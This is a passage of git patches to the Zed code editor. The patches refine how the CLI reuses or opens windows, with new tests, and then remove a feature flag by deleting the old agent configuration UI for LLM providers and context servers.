-    /// opening files that are already part of an open project.
+    /// Open paths in a new window unless they are subpaths of an existing project.
     #[strum(serialize = "Open a New Window")]
     NewWindow,
 }
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index cef5ece31b0171..161f65974c4980 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -9794,11 +9794,18 @@ pub async fn find_existing_workspace(
                 if let Ok(multi_workspace) = window.read(cx) {
                     for workspace in multi_workspace.workspaces() {
                         let project = workspace.read(cx).project.read(cx);
-                        let m = project.visibility_for_paths(
-                            abs_paths,
-                            open_options.workspace_matching != WorkspaceMatching::MatchSubdirectory,
-                            cx,
-                        );
+                        let m = match open_options.workspace_matching {
+                            WorkspaceMatching::None => None,
+                            WorkspaceMatching::MatchExact => {
+                                project.visibility_for_paths(abs_paths, true, cx)
+                            }
+                            WorkspaceMatching::MatchSubpaths => {
+                                project.visibility_for_subpaths(abs_paths, cx)
+                            }
+                            WorkspaceMatching::MatchSubdirectory => {
+                                project.visibility_for_paths(abs_paths, false, cx)
+                            }
+                        };
                         if m > best_match {
                             existing = Some((window, workspace.clone()));
                             best_match = m;
@@ -9865,6 +9872,9 @@ pub enum WorkspaceMatching {
     /// Match paths against existing worktree roots and files within them.
     #[default]
     MatchExact,
+    /// Match files and directories inside existing worktrees, excluding the
+    /// worktree roots themselves.
+    MatchSubpaths,
     /// Match paths against existing worktrees including subdirectories, and
     /// fall back to any existing window if no worktree matched.
     ///
@@ -9907,7 +9917,10 @@ impl Default for OpenOptions {
 
 impl OpenOptions {
     fn should_reuse_existing_window(&self) -> bool {
-        self.workspace_matching != WorkspaceMatching::None && self.open_mode != OpenMode::NewWindow
+        !matches!(
+            self.workspace_matching,
+            WorkspaceMatching::None | WorkspaceMatching::MatchSubpaths
+        ) && self.open_mode != OpenMode::NewWindow
     }
 }
 
diff --git a/crates/zed/src/zed/open_listener.rs b/crates/zed/src/zed/open_listener.rs
index 80a851571b8379..a992dfe4fd986c 100644
--- a/crates/zed/src/zed/open_listener.rs
+++ b/crates/zed/src/zed/open_listener.rs
@@ -612,12 +612,16 @@ pub async fn handle_cli_connection(
                             open_behavior = cli::OpenBehavior::ExistingWindow;
                         }
                         Some(settings::CliDefaultOpenBehavior::NewWindow) => {
-                            open_behavior = cli::OpenBehavior::Classic;
+                            open_behavior = cli::OpenBehavior::PreferNewWindow;
                         }
                         None => {}
                     }
                 }
 
+                if open_behavior == cli::OpenBehavior::Default {
+                    open_behavior = cx.update(|cx| open_behavior_for_default_setting(cx));
+                }
+
                 cx.update(|cx| cx.activate(true));
 
                 let open_workspace_result = open_workspaces(
@@ -647,8 +651,8 @@ pub async fn handle_cli_connection(
     }
 }
 
-/// Resolves the CLI open behavior when no explicit flag (`-n`, `-e`, `--reuse`)
-/// was given. May prompt the user interactively on first run.
+/// Resolves the CLI open behavior when no explicit open behavior flag was given.
+/// May prompt the user interactively on first run.
 ///
 /// Returns `Some(behavior)` to override the default, or `None` if no override
 /// is needed (e.g. no existing windows, paths already in a workspace, or the
@@ -756,6 +760,12 @@ pub(crate) fn open_options_for_behavior(
     location: &SerializedWorkspaceLocation,
     cx: &App,
 ) -> workspace::OpenOptions {
+    let open_behavior = if open_behavior == cli::OpenBehavior::Default {
+        open_behavior_for_default_setting(cx)
+    } else {
+        open_behavior
+    };
+
     // If reuse flag is passed, open a new workspace in an existing window.
     let requesting_window = if open_behavior == cli::OpenBehavior::Reuse {
         workspace::workspace_windows_for_location(location, cx)
@@ -769,17 +779,12 @@ pub(crate) fn open_options_for_behavior(
             cli::OpenBehavior::AlwaysNew | cli::OpenBehavior::Reuse => {
                 workspace::WorkspaceMatching::None
             }
+            cli::OpenBehavior::PreferNewWindow => workspace::WorkspaceMatching::MatchSubpaths,
             cli::OpenBehavior::Add => workspace::WorkspaceMatching::MatchSubdirectory,
             _ => workspace::WorkspaceMatching::MatchExact,
         },
         add_dirs_to_sidebar: match open_behavior {
             cli::OpenBehavior::ExistingWindow => true,
-            // For the default value, we consult the settings to decide
-            // whether to open in a new window or existing window.
-            cli::OpenBehavior::Default => {
-                workspace::WorkspaceSettings::get_global(cx).cli_default_open_behavior
-                    == settings::CliDefaultOpenBehavior::ExistingWindow
-            }
             _ => false,
         },
         requesting_window,
@@ -787,6 +792,13 @@ pub(crate) fn open_options_for_behavior(
     }
 }
 
+fn open_behavior_for_default_setting(cx: &App) -> cli::OpenBehavior {
+    match workspace::WorkspaceSettings::get_global(cx).cli_default_open_behavior {
+        settings::CliDefaultOpenBehavior::ExistingWindow => cli::OpenBehavior::ExistingWindow,
+        settings::CliDefaultOpenBehavior::NewWindow => cli::OpenBehavior::PreferNewWindow,
+    }
+}
+
 async fn open_workspaces(
     paths: Vec<String>,
     diff_paths: Vec<[String; 2]>,
@@ -800,7 +812,13 @@ async fn open_workspaces(
     cwd: Option<PathBuf>,
     cx: &mut AsyncApp,
 ) -> Result<()> {
-    if paths.is_empty() && diff_paths.is_empty() && open_behavior != cli::OpenBehavior::AlwaysNew {
+    if paths.is_empty()
+        && diff_paths.is_empty()
+        && !matches!(
+            open_behavior,
+            cli::OpenBehavior::AlwaysNew | cli::OpenBehavior::PreferNewWindow
+        )
+    {
         return restore_or_create_workspace(app_state, cx).await;
     }
 
@@ -1082,7 +1100,7 @@ mod tests {
     use cli::CliResponse;
     use editor::Editor;
     use futures::poll;
-    use gpui::{AppContext as _, TestAppContext};
+    use gpui::{AppContext as _, TestAppContext, UpdateGlobal as _};
     use language::LineEnding;
     use remote::SshConnectionOptions;
     use rope::Rope;
@@ -2589,6 +2607,135 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_e2e_new_window_setting_opens_project_root_in_new_window(cx: &mut TestAppContext) {
+        let app_state = init_test(cx);
+
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(path!("/project"), json!({ "file.txt": "content" }))
+            .await;
+
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(
+                paths::config_dir(),
+                json!({
+                    "settings.json": r#"{"cli_default_open_behavior": "new_window"}"#
+                }),
+            )
+            .await;
+
+        cx.update(|cx| {
+            settings::SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.workspace.cli_default_open_behavior =
+                        Some(settings::CliDefaultOpenBehavior::NewWindow);
+                });
+            });
+        });
+
+        open_workspace_file(path!("/project"), Default::default(), app_state.clone(), cx).await;
+        assert_eq!(cx.windows().len(), 1);
+
+        let (status, prompt_shown) = run_cli_with_zed_handler(
+            cx,
+            app_state,
+            make_cli_open_request(
+                vec![path!("/project").to_string()],
+                cli::OpenBehavior::Default,
+            ),
+            None,
+        );
+
+        assert_eq!(status, 0);
+        assert!(
+            !prompt_shown,
+            "no prompt should be shown when setting already configured"
+        );
+        assert_eq!(cx.windows().len(), 2);
+    }
+
+    #[gpui::test]
+    async fn test_e2e_new_window_setting_focuses_existing_window_for_subpaths(
+        cx: &mut TestAppContext,
+    ) {
+        let app_state = init_test(cx);
+
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(
+                path!("/project"),
+                json!({
+                    "file.txt": "content",
+                    "src": {
+                        "main.rs": "fn main() {}",
+                    },
+                }),
+            )
+            .await;
+
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(
+                paths::config_dir(),
+                json!({
+                    "settings.json": r#"{"cli_default_open_behavior": "new_window"}"#
+                }),
+            )
+            .await;
+
+        cx.update(|cx| {
+            settings::SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.workspace.cli_default_open_behavior =
+                        Some(settings::CliDefaultOpenBehavior::NewWindow);
+                });
+            });
+        });
+
+        open_workspace_file(path!("/project"), Default::default(), app_state.clone(), cx).await;
+        assert_eq!(cx.windows().len(), 1);
+
+        let (status, prompt_shown) = run_cli_with_zed_handler(
+            cx,
+            app_state.clone(),
+            make_cli_open_request(
+                vec![path!("/project/src").to_string()],
+                cli::OpenBehavior::Default,
+            ),
+            None,
+        );
+
+        assert_eq!(status, 0);
+        assert!(
+            !prompt_shown,
+            "no prompt should be shown when setting already configured"
+        );
+        assert_eq!(cx.windows().len(), 1);
+
+        let (status, prompt_shown) = run_cli_with_zed_handler(
+            cx,
+            app_state,
+            make_cli_open_request(
+                vec![path!("/project/file.txt").to_string()],
+                cli::OpenBehavior::Default,
+            ),
+            None,
+        );
+
+        assert_eq!(status, 0);
+        assert!(
+            !prompt_shown,
+            "no prompt should be shown when setting already configured"
+        );
+        assert_eq!(cx.windows().len(), 1);
+    }
+
     #[gpui::test]
     async fn test_e2e_explicit_existing_flag_no_prompt(cx: &mut TestAppContext) {
         let app_state = init_test(cx);

From 40d20036af34343a09f0ce6a2eb38c9e5a60e9ae Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Wed, 1 Jul 2026 01:25:40 -0300
Subject: [PATCH 183/772] settings_ui: Remove feature flag for AI settings and
 adjust design (#59860)

Closes AI-159
Closes AI-434
Closes AI-435

Release Notes:

- Key agent-related settings now live in the settings editor, close to
all other settings available in Zed. This specifically includes the move
of LLM providers, external agents, and MCP servers to the settings
editor.

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
---
 assets/keymaps/default-linux.json             |    7 -
 assets/keymaps/default-macos.json             |   13 -
 assets/keymaps/default-windows.json           |    7 -
 crates/agent_ui/src/agent_configuration.rs    | 1679 -----------------
 .../add_llm_provider_modal.rs                 | 1201 ------------
 .../configure_context_server_modal.rs         |    8 +-
 .../configure_context_server_tools_modal.rs   |  175 --
 crates/agent_ui/src/agent_panel.rs            |  360 +---
 crates/copilot_ui/src/sign_in.rs              |   92 +-
 crates/feature_flags/src/flags.rs             |   14 +-
 crates/language_model/src/language_model.rs   |   42 +-
 crates/language_models/src/api_key_editor.rs  |  155 --
 crates/language_models/src/language_models.rs |    2 -
 .../language_models/src/provider/anthropic.rs |   49 +-
 .../language_models/src/provider/bedrock.rs   |  122 +-
 crates/language_models/src/provider/cloud.rs  |  203 +-
 .../src/provider/copilot_chat.rs              |   45 +-
 .../language_models/src/provider/deepseek.rs  |   49 +-
 crates/language_models/src/provider/google.rs |   43 +-
 .../language_models/src/provider/llama_cpp.rs |  145 +-
 .../language_models/src/provider/lmstudio.rs  |  110 +-
 .../language_models/src/provider/mistral.rs   |   49 +-
 crates/language_models/src/provider/ollama.rs |  136 +-
 .../language_models/src/provider/open_ai.rs   |   47 +-
 .../src/provider/open_router.rs               |   49 +-
 .../src/provider/openai_subscribed.rs         |   74 +-
 .../language_models/src/provider/opencode.rs  |  107 +-
 .../src/provider/vercel_ai_gateway.rs         |   49 +-
 crates/language_models/src/provider/x_ai.rs   |   47 +-
 crates/settings_ui/src/page_data.rs           |  162 +-
 crates/settings_ui/src/pages.rs               |    8 +-
 .../pages/edit_prediction_provider_setup.rs   |    9 +-
 .../src/pages/external_agents_page.rs         |   83 +-
 .../src/pages/llm_providers_page.rs           |  302 ++-
 .../settings_ui/src/pages/mcp_servers_page.rs |  193 +-
 .../settings_ui/src/pages/sandbox_settings.rs |   24 +-
 crates/settings_ui/src/settings_ui.rs         |  106 +-
 .../ui/src/components/ai/ai_setting_item.rs   |    7 +-
 .../src/components/ai/configured_api_card.rs  |  106 +-
 crates/ui_input/src/input_field.rs            |    6 +-
 crates/zed_actions/src/lib.rs                 |   12 +
 docs/src/ai/agent-settings.md                 |   33 +-
 docs/src/ai/external-agents.md                |    4 +-
 docs/src/ai/mcp.md                            |    6 +-
 docs/src/ai/use-a-gateway.md                  |    4 +-
 docs/src/ai/use-api-access.md                 |    2 +-
 46 files changed, 1487 insertions(+), 4659 deletions(-)
 delete mode 100644 crates/agent_ui/src/agent_configuration/add_llm_provider_modal.rs
 delete mode 100644 crates/agent_ui/src/agent_configuration/configure_context_server_tools_modal.rs
 delete mode 100644 crates/language_models/src/api_key_editor.rs

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 56b853384f9ac1..90a440a6447af4 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -1281,13 +1281,6 @@
       "ctrl-enter": "menu::Confirm",
     },
   },
-  {
-    "context": "ContextServerToolsModal",
-    "use_key_equivalents": true,
-    "bindings": {
-      "escape": "menu::Cancel",
-    },
-  },
   {
     "context": "OnboardingAiConfigurationModal",
     "use_key_equivalents": true,
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 009490e42781c0..8b4e76dd81f01b 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -288,12 +288,6 @@
       "alt-enter": "editor::Newline",
     },
   },
-  {
-    "context": "AgentConfiguration",
-    "bindings": {
-      "ctrl--": "pane::GoBack",
-    },
-  },
   {
     "context": "AcpThread > ModeSelector",
     "bindings": {
@@ -1379,13 +1373,6 @@
       "cmd-enter": "menu::Confirm",
     },
   },
-  {
-    "context": "ContextServerToolsModal",
-    "use_key_equivalents": true,
-    "bindings": {
-      "escape": "menu::Cancel",
-    },
-  },
   {
     "context": "OnboardingAiConfigurationModal",
     "use_key_equivalents": true,
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index 035e470445824b..08a9274c3170ca 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -1303,13 +1303,6 @@
       "ctrl-enter": "menu::Confirm",
     },
   },
-  {
-    "context": "ContextServerToolsModal",
-    "use_key_equivalents": true,
-    "bindings": {
-      "escape": "menu::Cancel",
-    },
-  },
   {
     "context": "OnboardingAiConfigurationModal",
     "use_key_equivalents": true,
diff --git a/crates/agent_ui/src/agent_configuration.rs b/crates/agent_ui/src/agent_configuration.rs
index 6164fcf72bc4d7..ec700744438c0f 100644
--- a/crates/agent_ui/src/agent_configuration.rs
+++ b/crates/agent_ui/src/agent_configuration.rs
@@ -1,1685 +1,6 @@
-mod add_llm_provider_modal;
 pub mod configure_context_server_modal;
-mod configure_context_server_tools_modal;
 mod manage_profiles_modal;
 mod tool_picker;
 
-use std::{ops::Range, rc::Rc, sync::Arc};
-
-use agent::ContextServerRegistry;
-use anyhow::Result;
-use cloud_api_types::Plan;
-use collections::HashMap;
-use context_server::ContextServerId;
-use editor::{Editor, MultiBufferOffset, SelectionEffects, scroll::Autoscroll};
-use extension::ExtensionManifest;
-use extension_host::ExtensionStore;
-use fs::Fs;
-use gpui::{
-    Action, Anchor, AnyView, App, AsyncWindowContext, Entity, EventEmitter, FocusHandle, Focusable,
-    ScrollHandle, Subscription, Task, TaskExt, WeakEntity,
-};
-use itertools::Itertools;
-use language::LanguageRegistry;
-use language_model::{
-    IconOrSvg, LanguageModelProvider, LanguageModelProviderId, LanguageModelRegistry,
-    ZED_CLOUD_PROVIDER_ID,
-};
-use language_models::AllLanguageModelSettings;
-use notifications::status_toast::StatusToast;
-use project::{
-    agent_server_store::{AgentId, AgentServerStore, ExternalAgentSource},
-    context_server_store::{ContextServerConfiguration, ContextServerStatus, ContextServerStore},
-};
-use settings::{Settings, SettingsContent, SettingsStore, update_settings_file};
-use ui::{
-    AiSettingItem, AiSettingItemSource, AiSettingItemStatus, ButtonStyle, Chip, ContextMenu,
-    ContextMenuEntry, Disclosure, Divider, DividerColor, ElevationIndex, LabelSize, PopoverMenu,
-    Switch, Tooltip, WithScrollbar, prelude::*,
-};
-use util::ResultExt as _;
-use workspace::{Workspace, create_and_open_local_file};
-use zed_actions::{ExtensionCategoryFilter, OpenBrowser};
-
 pub(crate) use configure_context_server_modal::ConfigureContextServerModal;
-pub(crate) use configure_context_server_tools_modal::ConfigureContextServerToolsModal;
 pub(crate) use manage_profiles_modal::ManageProfilesModal;
-
-use crate::{
-    Agent,
-    agent_configuration::add_llm_provider_modal::{AddLlmProviderModal, LlmCompatibleProvider},
-    agent_connection_store::{AgentConnectionStatus, AgentConnectionStore},
-};
-
-pub struct AgentConfiguration {
-    fs: Arc<dyn Fs>,
-    language_registry: Arc<LanguageRegistry>,
-    agent_server_store: Entity<AgentServerStore>,
-    agent_connection_store: Entity<AgentConnectionStore>,
-    workspace: WeakEntity<Workspace>,
-    focus_handle: FocusHandle,
-    configuration_views_by_provider: HashMap<LanguageModelProviderId, AnyView>,
-    context_server_store: Entity<ContextServerStore>,
-    expanded_provider_configurations: HashMap<LanguageModelProviderId, bool>,
-    context_server_registry: Entity<ContextServerRegistry>,
-    _subscriptions: Vec<Subscription>,
-    scroll_handle: ScrollHandle,
-}
-
-impl AgentConfiguration {
-    pub fn new(
-        fs: Arc<dyn Fs>,
-        agent_server_store: Entity<AgentServerStore>,
-        agent_connection_store: Entity<AgentConnectionStore>,
-        context_server_store: Entity<ContextServerStore>,
-        context_server_registry: Entity<ContextServerRegistry>,
-        language_registry: Arc<LanguageRegistry>,
-        workspace: WeakEntity<Workspace>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        let focus_handle = cx.focus_handle();
-
-        let subscriptions = vec![
-            cx.subscribe_in(
-                &LanguageModelRegistry::global(cx),
-                window,
-                |this, _, event: &language_model::Event, window, cx| match event {
-                    language_model::Event::AddedProvider(provider_id) => {
-                        let provider = LanguageModelRegistry::read_global(cx).provider(provider_id);
-                        if let Some(provider) = provider {
-                            this.add_provider_configuration_view(&provider, window, cx);
-                        }
-                    }
-                    language_model::Event::RemovedProvider(provider_id) => {
-                        this.remove_provider_configuration_view(provider_id);
-                    }
-                    _ => {}
-                },
-            ),
-            cx.subscribe(&agent_server_store, |_, _, _, cx| cx.notify()),
-            cx.observe(&agent_connection_store, |_, _, cx| cx.notify()),
-            cx.subscribe(&context_server_store, |_, _, _, cx| cx.notify()),
-        ];
-
-        let mut this = Self {
-            fs,
-            language_registry,
-            workspace,
-            focus_handle,
-            configuration_views_by_provider: HashMap::default(),
-            agent_server_store,
-            agent_connection_store,
-            context_server_store,
-            expanded_provider_configurations: HashMap::default(),
-            context_server_registry,
-            _subscriptions: subscriptions,
-            scroll_handle: ScrollHandle::new(),
-        };
-
-        this.build_provider_configuration_views(window, cx);
-        this
-    }
-
-    fn build_provider_configuration_views(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let providers = LanguageModelRegistry::read_global(cx).visible_providers();
-        for provider in providers {
-            self.add_provider_configuration_view(&provider, window, cx);
-        }
-    }
-
-    fn remove_provider_configuration_view(&mut self, provider_id: &LanguageModelProviderId) {
-        self.configuration_views_by_provider.remove(provider_id);
-        self.expanded_provider_configurations.remove(provider_id);
-    }
-
-    fn add_provider_configuration_view(
-        &mut self,
-        provider: &Arc<dyn LanguageModelProvider>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let configuration_view = provider.configuration_view(
-            language_model::ConfigurationViewTargetAgent::ZedAgent,
-            window,
-            cx,
-        );
-        self.configuration_views_by_provider
-            .insert(provider.id(), configuration_view);
-    }
-}
-
-impl Focusable for AgentConfiguration {
-    fn focus_handle(&self, _: &App) -> FocusHandle {
-        self.focus_handle.clone()
-    }
-}
-
-pub enum AssistantConfigurationEvent {
-    NewThread(Arc<dyn LanguageModelProvider>),
-}
-
-impl EventEmitter<AssistantConfigurationEvent> for AgentConfiguration {}
-
-enum AgentIcon {
-    Name(IconName),
-    Path(SharedString),
-}
-
-impl AgentConfiguration {
-    fn render_section_title(
-        &mut self,
-        title: impl Into<SharedString>,
-        description: impl Into<SharedString>,
-        menu: AnyElement,
-    ) -> impl IntoElement {
-        h_flex()
-            .p_4()
-            .pb_0()
-            .mb_2p5()
-            .items_start()
-            .justify_between()
-            .child(
-                v_flex()
-                    .w_full()
-                    .gap_0p5()
-                    .child(
-                        h_flex()
-                            .pr_1()
-                            .w_full()
-                            .gap_2()
-                            .justify_between()
-                            .flex_wrap()
-                            .child(Headline::new(title.into()))
-                            .child(menu),
-                    )
-                    .child(Label::new(description.into()).color(Color::Muted)),
-            )
-    }
-
-    fn render_provider_configuration_block(
-        &mut self,
-        provider: &Arc<dyn LanguageModelProvider>,
-        cx: &mut Context<Self>,
-    ) -> impl IntoElement + use<> {
-        let provider_id = provider.id().0;
-        let provider_name = provider.name().0;
-        let provider_id_string = SharedString::from(format!("provider-disclosure-{provider_id}"));
-
-        let configuration_view = self
-            .configuration_views_by_provider
-            .get(&provider.id())
-            .cloned();
-
-        let is_expanded = self
-            .expanded_provider_configurations
-            .get(&provider.id())
-            .copied()
-            .unwrap_or(false);
-
-        let is_zed_provider = provider.id() == ZED_CLOUD_PROVIDER_ID;
-        let current_plan = if is_zed_provider {
-            self.workspace
-                .upgrade()
-                .and_then(|workspace| workspace.read(cx).user_store().read(cx).plan())
-        } else {
-            None
-        };
-
-        let is_signed_in = self
-            .workspace
-            .read_with(cx, |workspace, _| {
-                !workspace.client().status().borrow().is_signed_out()
-            })
-            .unwrap_or(false);
-
-        v_flex()
-            .min_w_0()
-            .w_full()
-            .when(is_expanded, |this| this.mb_2())
-            .child(
-                div()
-                    .px_2()
-                    .child(Divider::horizontal().color(DividerColor::BorderFaded)),
-            )
-            .child(
-                h_flex()
-                    .map(|this| {
-                        if is_expanded {
-                            this.mt_2().mb_1()
-                        } else {
-                            this.my_2()
-                        }
-                    })
-                    .w_full()
-                    .justify_between()
-                    .child(
-                        h_flex()
-                            .id(provider_id_string.clone())
-                            .px_2()
-                            .py_0p5()
-                            .w_full()
-                            .justify_between()
-                            .rounded_sm()
-                            .hover(|hover| hover.bg(cx.theme().colors().element_hover))
-                            .child(
-                                h_flex()
-                                    .w_full()
-                                    .gap_1p5()
-                                    .child(
-                                        match provider.icon() {
-                                            IconOrSvg::Svg(path) => Icon::from_external_svg(path),
-                                            IconOrSvg::Icon(name) => Icon::new(name),
-                                        }
-                                        .size(IconSize::Small)
-                                        .color(Color::Muted),
-                                    )
-                                    .child(
-                                        h_flex()
-                                            .w_full()
-                                            .gap_1()
-                                            .child(Label::new(provider_name.clone()))
-                                            .map(|this| {
-                                                if is_zed_provider && is_signed_in {
-                                                    this.child(
-                                                        self.render_zed_plan_info(current_plan, cx),
-                                                    )
-                                                } else {
-                                                    this.when(
-                                                        provider.is_authenticated(cx)
-                                                            && !is_expanded,
-                                                        |parent| {
-                                                            parent.child(
-                                                                Icon::new(IconName::Check)
-                                                                    .color(Color::Success),
-                                                            )
-                                                        },
-                                                    )
-                                                }
-                                            }),
-                                    ),
-                            )
-                            .child(
-                                Disclosure::new(provider_id_string, is_expanded)
-                                    .opened_icon(IconName::ChevronUp)
-                                    .closed_icon(IconName::ChevronDown),
-                            )
-                            .on_click(cx.listener({
-                                let provider_id = provider.id();
-                                move |this, _event, _window, _cx| {
-                                    let is_expanded = this
-                                        .expanded_provider_configurations
-                                        .entry(provider_id.clone())
-                                        .or_insert(false);
-
-                                    *is_expanded = !*is_expanded;
-                                }
-                            })),
-                    ),
-            )
-            .child(
-                v_flex()
-                    .min_w_0()
-                    .w_full()
-                    .px_2()
-                    .gap_1()
-                    .when(is_expanded, |parent| match configuration_view {
-                        Some(configuration_view) => parent.child(configuration_view),
-                        None => parent.child(Label::new(format!(
-                            "No configuration view for {provider_name}",
-                        ))),
-                    })
-                    .when(is_expanded && provider.is_authenticated(cx), |parent| {
-                        parent.child(
-                            Button::new(
-                                SharedString::from(format!("new-thread-{provider_id}")),
-                                "Start New Thread",
-                            )
-                            .full_width()
-                            .style(ButtonStyle::Outlined)
-                            .layer(ElevationIndex::ModalSurface)
-                            .start_icon(
-                                Icon::new(IconName::Thread)
-                                    .size(IconSize::Small)
-                                    .color(Color::Muted),
-                            )
-                            .label_size(LabelSize::Small)
-                            .on_click(cx.listener({
-                                let provider = provider.clone();
-                                move |_this, _event, _window, cx| {
-                                    cx.emit(AssistantConfigurationEvent::NewThread(
-                                        provider.clone(),
-                                    ))
-                                }
-                            })),
-                        )
-                    })
-                    .when(
-                        is_expanded && is_removable_provider(&provider.id(), cx),
-                        |this| {
-                            this.child(
-                                Button::new(
-                                    SharedString::from(format!("delete-provider-{provider_id}")),
-                                    "Remove Provider",
-                                )
-                                .full_width()
-                                .style(ButtonStyle::Outlined)
-                                .start_icon(
-                                    Icon::new(IconName::Trash)
-                                        .size(IconSize::Small)
-                                        .color(Color::Muted),
-                                )
-                                .label_size(LabelSize::Small)
-                                .on_click(cx.listener({
-                                    let provider = provider.clone();
-                                    move |this, _event, window, cx| {
-                                        this.delete_provider(provider.clone(), window, cx);
-                                    }
-                                })),
-                            )
-                        },
-                    ),
-            )
-    }
-
-    fn delete_provider(
-        &mut self,
-        provider: Arc<dyn LanguageModelProvider>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let fs = self.fs.clone();
-        let provider_id = provider.id();
-
-        cx.spawn_in(window, async move |_, cx| {
-            cx.update(|_window, cx| {
-                update_settings_file(fs.clone(), cx, {
-                    let provider_id = provider_id.clone();
-                    move |settings, _| {
-                        remove_compatible_provider(settings, provider_id.0.as_ref());
-                    }
-                });
-            })
-            .log_err();
-
-            cx.update(|_window, cx| {
-                LanguageModelRegistry::global(cx).update(cx, {
-                    let provider_id = provider_id.clone();
-                    move |registry, cx| {
-                        registry.unregister_provider(provider_id, cx);
-                    }
-                })
-            })
-            .log_err();
-
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn render_provider_configuration_section(
-        &mut self,
-        cx: &mut Context<Self>,
-    ) -> impl IntoElement {
-        let providers = LanguageModelRegistry::read_global(cx).visible_providers();
-
-        let popover_menu = PopoverMenu::new("add-provider-popover")
-            .trigger(
-                Button::new("add-provider", "Add Provider")
-                    .style(ButtonStyle::Outlined)
-                    .start_icon(
-                        Icon::new(IconName::Plus)
-                            .size(IconSize::Small)
-                            .color(Color::Muted),
-                    )
-                    .label_size(LabelSize::Small),
-            )
-            .menu({
-                let workspace = self.workspace.clone();
-                move |window, cx| {
-                    let open_modal = |provider: LlmCompatibleProvider| {
-                        let workspace = workspace.clone();
-                        move |window: &mut Window, cx: &mut App| {
-                            workspace
-                                .update(cx, |workspace, cx| {
-                                    AddLlmProviderModal::toggle(provider, workspace, window, cx);
-                                })
-                                .log_err();
-                        }
-                    };
-                    Some(ContextMenu::build(window, cx, |menu, _window, _cx| {
-                        menu.header("Compatible APIs")
-                            .entry("OpenAI", None, open_modal(LlmCompatibleProvider::OpenAi))
-                            .entry(
-                                "Anthropic",
-                                None,
-                                open_modal(LlmCompatibleProvider::Anthropic),
-                            )
-                    }))
-                }
-            })
-            .anchor(gpui::Anchor::TopRight)
-            .offset(gpui::Point {
-                x: px(0.0),
-                y: px(2.0),
-            });
-
-        v_flex()
-            .min_w_0()
-            .w_full()
-            .child(self.render_section_title(
-                "LLM Providers",
-                "Add at least one provider to use AI-powered features with Zed's native agent.",
-                popover_menu.into_any_element(),
-            ))
-            .child(
-                div()
-                    .w_full()
-                    .pl(DynamicSpacing::Base08.rems(cx))
-                    .pr(DynamicSpacing::Base20.rems(cx))
-                    .children(
-                        providers.into_iter().map(|provider| {
-                            self.render_provider_configuration_block(&provider, cx)
-                        }),
-                    ),
-            )
-    }
-
-    fn render_zed_plan_info(&self, plan: Option<Plan>, cx: &mut Context<Self>) -> impl IntoElement {
-        if let Some(plan) = plan {
-            let free_chip_bg = cx
-                .theme()
-                .colors()
-                .editor_background
-                .opacity(0.5)
-                .blend(cx.theme().colors().text_accent.opacity(0.05));
-
-            let pro_chip_bg = cx
-                .theme()
-                .colors()
-                .editor_background
-                .opacity(0.5)
-                .blend(cx.theme().colors().text_accent.opacity(0.2));
-
-            let (plan_name, label_color, bg_color) = match plan {
-                Plan::ZedFree => ("Free", Color::Default, free_chip_bg),
-                Plan::ZedProTrial => ("Pro Trial", Color::Accent, pro_chip_bg),
-                Plan::ZedPro => ("Pro", Color::Accent, pro_chip_bg),
-                Plan::ZedBusiness => ("Business", Color::Accent, pro_chip_bg),
-                Plan::ZedVip => ("VIP", Color::Accent, pro_chip_bg),
-                Plan::ZedStudent => ("Student", Color::Accent, pro_chip_bg),
-            };
-
-            Chip::new(plan_name.to_string())
-                .bg_color(bg_color)
-                .label_color(label_color)
-                .into_any_element()
-        } else {
-            div().into_any_element()
-        }
-    }
-
-    fn render_context_servers_section(&mut self, cx: &mut Context<Self>) -> impl IntoElement {
-        let context_server_ids = self.context_server_store.read(cx).server_ids();
-
-        let add_server_popover = PopoverMenu::new("add-server-popover")
-            .trigger(
-                Button::new("add-server", "Add Server")
-                    .style(ButtonStyle::Outlined)
-                    .start_icon(
-                        Icon::new(IconName::Plus)
-                            .size(IconSize::Small)
-                            .color(Color::Muted),
-                    )
-                    .label_size(LabelSize::Small),
-            )
-            .menu({
-                move |window, cx| {
-                    Some(ContextMenu::build(window, cx, |menu, _window, _cx| {
-                        menu.entry("Add Custom Server", None, {
-                            |window, cx| {
-                                window.dispatch_action(
-                                    crate::AddContextServer::local().boxed_clone(),
-                                    cx,
-                                )
-                            }
-                        })
-                        .entry("Add Remote Server", None, {
-                            |window, cx| {
-                                window.dispatch_action(
-                                    crate::AddContextServer::remote().boxed_clone(),
-                                    cx,
-                                )
-                            }
-                        })
-                        .entry("Install from Extensions", None, {
-                            |window, cx| {
-                                window.dispatch_action(
-                                    zed_actions::Extensions {
-                                        category_filter: Some(
-                                            ExtensionCategoryFilter::ContextServers,
-                                        ),
-                                        id: None,
-                                    }
-                                    .boxed_clone(),
-                                    cx,
-                                )
-                            }
-                        })
-                    }))
-                }
-            })
-            .anchor(gpui::Anchor::TopRight)
-            .offset(gpui::Point {
-                x: px(0.0),
-                y: px(2.0),
-            });
-
-        v_flex()
-            .min_w_0()
-            .border_b_1()
